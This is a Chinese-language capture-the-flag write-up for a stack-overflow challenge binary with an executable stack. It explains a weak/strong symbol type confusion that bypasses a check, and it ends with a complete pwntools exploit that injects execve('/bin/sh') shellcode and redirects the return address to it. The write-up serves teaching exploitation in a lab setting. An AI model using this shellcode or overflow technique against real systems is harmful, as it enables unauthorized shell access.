概述

总体上就是一个栈溢出，且开启了栈可执行，栈溢出到可执行区段去执行shellcode即可获取shell拿到flag，不过你需要绕过一些条件才行。

查看程序

`checksec a.out`

```
qishui@Qishui:~/zl$ checksec a.out
[*] '/home/qishui/zl/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
qishui@Qishui:~/zl$
```

可以看到`Has RWX segments区段`

gdb里面`start`后，输入命令`vmmap`:查看进程中的权限；可以看见这里stack： `rwxp`是可执行的；

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/qishui/zl/a.out
          0x600000           0x601000 r-xp     1000 0      /home/qishui/zl/a.out
          0x601000           0x602000 rwxp     1000 1000   /home/qishui/zl/a.out
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r-xp     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rwxp     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rwxp     4000 0      [anon_7ffff7dd3]
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fd9000     0x7ffff7fdc000 rwxp     3000 0      [anon_7ffff7fd9]
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r-xp     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rwxp     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rwxp     1000 0      [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rwxp    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
```

思路

- 程序主要变量是全局变量，不在栈上；从主函数可以看出`val1,val2`是全局变量且有初始值`100,200`，且所占空间均为4字节（.bss段上）；一开始会让你能对`val1`，`val2`进行赋值,但其实没啥用，只是让你们知道在ida中，能简单的从`scanf函数`看出来main函数里面`val1`,`val2`的类型定义为int型；

  ```
  1.c: In function ‘main’:
  1.c:23:8: warning: format ‘%lf’ expects argument of type ‘double *’,
  but argument 2 has type ‘int *’ [-Wformat=]
    scanf("%lf",&val1);
  ```

  （为了让你信服，将%d改为%lf，从这个报错就可以看出）

- 一开始查看bss也会发现这两个变量是有初始值的，故这两个符号为强符号（强定义为int型）
- 重点在于`happended()`函数，它会让你进行一个输入，对符号`val1`进行赋值，但可以发现是`%lf`，说明在某一处，`val1`符号被定义为了`double`型，但由于bss段上显示为val1只占`4 byte`，所以此double型为弱定义，因为链接器是以强定义为准；所以这赋值的空间是在main函数强定义符号所定义的空间(4 byte)，所以会去覆盖原`val1`；
- 但是在`happended()`函数中是按`8 byte(double)`来进行赋值的；所以就会将数对应的double型的机器数（即浮点数表示形式）存入`val1`的4byte空间；显然会溢出；而条件是让`val1==0&&val2==0x3ff000000`；故就根据此去构造`happended()`里面的`val1`的double型值
- `val1`为低地址，`val2`为高地址;即目标为这样：(小端存储)

```
        0   1   2   3
&val1   00  00  F0  3F      high_addr
&val2   00  00  00  00      low_addr
```

- 即`0x3ff0000000000000`(double 型机器数) == 1.0；故输入`1`即可满足上述条件完成绕过；
- 接着就是送你了`buf`数组的地址，即栈地址（另一个选项就是可以自己尝试泄露栈地址）；而buf也是可控的；后面还有`scanf`这个危险函数，输入不受太多限制，故`buf`填入`scanf`函数能接收的shellcode;后面通过`scanf`直接进行一个溢出，将返回地址改为`buf`，就能控制程序执行shellcode从而获取shell了

exp

```
from pwn import *
context.log_level = 'debug'
p  = process("./a.out")
gdb.attach(p)
p.recvuntil("TO SAY SOMETHING\n")
p.sendline(str(1))

p.recvuntil("DO YOU WANNA HAVE A TYR?(0/1)\n")
p.sendline(str(0))
say = int(p.recv(14),16)
print 'say' + hex(say)
p.recvuntil("Thanks!What gift do you want!\n")
sh
="\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\x
ef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
payload  = sh.ljust(0x20,'\0') + "deadbeef" + p64(say)
p.sendline(payload)


p.interactive()
```